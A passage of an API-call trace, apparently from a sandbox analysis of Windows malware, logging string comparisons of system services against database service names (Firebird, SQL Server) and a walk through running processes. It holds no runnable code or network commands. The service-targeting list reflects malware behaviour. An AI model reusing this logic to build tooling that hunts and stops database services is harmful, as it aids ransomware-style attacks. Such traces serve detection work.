lpString2="LanmanWorkstation") returned -1 [0245.400] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0245.400] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0245.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0245.400] lstrlenW (lpString="lfsvc") returned 5 [0245.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0245.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0245.400] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0245.400] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0245.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0245.400] lstrlenW (lpString="lmhosts") returned 7 [0245.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0245.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0245.400] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0245.400] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0245.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0245.400] lstrlenW (lpString="LSM") returned 3 [0245.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0245.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0245.400] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0245.400] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0245.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0245.400] lstrlenW (lpString="MpsSvc") returned 6 [0245.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0245.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0245.400] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0245.401] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0245.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0245.401] lstrlenW (lpString="NcbService") returned 10 [0245.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0245.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0245.401] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0245.401] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0245.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0245.401] lstrlenW (lpString="netprofm") returned 8 [0245.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0245.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0245.401] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0245.401] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0245.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0245.402] lstrlenW (lpString="NgcSvc") returned 6 [0245.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0245.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0245.402] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0245.402] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0245.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0245.402] lstrlenW (lpString="NlaSvc") returned 6 [0245.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0245.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0245.402] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0245.402] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0245.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0245.402] lstrlenW (lpString="nsi") returned 3 [0245.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0245.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0245.403] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0245.403] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0245.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0245.403] lstrlenW (lpString="PcaSvc") returned 6 [0245.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0245.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0245.403] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0245.403] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0245.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0245.403] lstrlenW (lpString="PlugPlay") returned 8 [0245.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0245.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0245.403] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0245.403] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0245.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0245.403] lstrlenW (lpString="Power") returned 5 [0245.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0245.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0245.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0245.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0245.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0245.403] lstrlenW (lpString="ProfSvc") returned 7 [0245.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0245.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0245.403] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0245.403] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0245.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0245.405] lstrlenW (lpString="RpcEptMapper") returned 12 [0245.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.405] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0245.405] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0245.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0245.405] lstrlenW (lpString="RpcSs") returned 5 [0245.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0245.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0245.405] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0245.405] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0245.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0245.405] lstrlenW (lpString="SamSs") returned 5 [0245.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0245.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0245.405] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0245.405] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0245.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0245.406] lstrlenW (lpString="Schedule") returned 8 [0245.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0245.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0245.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0245.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0245.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0245.406] lstrlenW (lpString="SecurityHealthService") returned 21 [0245.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0245.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0245.406] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0245.406] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0245.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0245.406] lstrlenW (lpString="SENS") returned 4 [0245.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0245.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0245.406] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0245.406] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0245.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0245.406] lstrlenW (lpString="ShellHWDetection") returned 16 [0245.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.406] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0245.406] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0245.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0245.406] lstrlenW (lpString="Spooler") returned 7 [0245.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0245.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0245.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0245.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0245.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0245.407] lstrlenW (lpString="StateRepository") returned 15 [0245.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0245.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0245.407] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0245.407] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0245.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0245.407] lstrlenW (lpString="SysMain") returned 7 [0245.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0245.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0245.407] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0245.407] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0245.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0245.407] lstrlenW (lpString="SystemEventsBroker") returned 18 [0245.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0245.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0245.407] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0245.407] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0245.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0245.407] lstrlenW (lpString="Themes") returned 6 [0245.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0245.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0245.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0245.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0245.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0245.408] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0245.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0245.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0245.408] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0245.408] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0245.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4256510 | out: hHeap=0x670000) returned 1 [0245.408] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x418 [0246.091] Process32FirstW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.091] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.091] lstrlenW (lpString="System") returned 6 [0246.092] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.092] lstrlenW (lpString="smss.exe") returned 8 [0246.092] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.093] lstrlenW (lpString="csrss.exe") returned 9 [0246.093] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.093] lstrlenW (lpString="wininit.exe") returned 11 [0246.093] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.094] lstrlenW (lpString="csrss.exe") returned 9 [0246.094] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.094] lstrlenW (lpString="winlogon.exe") returned 12 [0246.094] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.095] lstrlenW (lpString="services.exe") returned 12 [0246.095] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.095] lstrlenW (lpString="lsass.exe") returned 9 [0246.096] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0246.096] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0246.096] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0246.096] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0246.097] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.097] lstrlenW (lpString="svchost.exe") returned 11 [0246.097] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.098] lstrlenW (lpString="svchost.exe") returned 11 [0246.098] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.098] lstrlenW (lpString="dwm.exe") returned 7 [0246.098] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.099] lstrlenW (lpString="svchost.exe") returned 11 [0246.099] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.099] lstrlenW (lpString="svchost.exe") returned 11 [0246.099] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.099] lstrlenW (lpString="svchost.exe") returned 11 [0246.100] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.100] lstrlenW (lpString="svchost.exe") returned 11 [0246.100] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.100] lstrlenW (lpString="svchost.exe") returned 11 [0246.100] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.101] lstrlenW (lpString="svchost.exe") returned 11 [0246.101] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.101] lstrlenW (lpString="svchost.exe") returned 11 [0246.101] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.102] lstrlenW (lpString="svchost.exe") returned 11 [0246.102] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.102] lstrlenW (lpString="svchost.exe") returned 11 [0246.102] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.103] lstrlenW (lpString="svchost.exe") returned 11 [0246.103] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.103] lstrlenW (lpString="spoolsv.exe") returned 11 [0246.103] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.104] lstrlenW (lpString="svchost.exe") returned 11 [0246.104] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.104] lstrlenW (lpString="audiodg.exe") returned 11 [0246.104] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.105] lstrlenW (lpString="sihost.exe") returned 10 [0246.105] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.106] lstrlenW (lpString="svchost.exe") returned 11 [0246.106] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.106] lstrlenW (lpString="taskhostw.exe") returned 13 [0246.106] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0246.107] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0246.107] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0246.107] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0246.108] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0246.108] lstrlenW (lpString="Memory Compression") returned 18 [0246.108] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.109] lstrlenW (lpString="explorer.exe") returned 12 [0246.109] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0246.109] lstrlenW (lpString="SearchUI.exe") returned 12 [0246.109] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0246.110] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0246.110] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.111] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0246.111] Process32NextW (in: hSnapshot=0x418, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 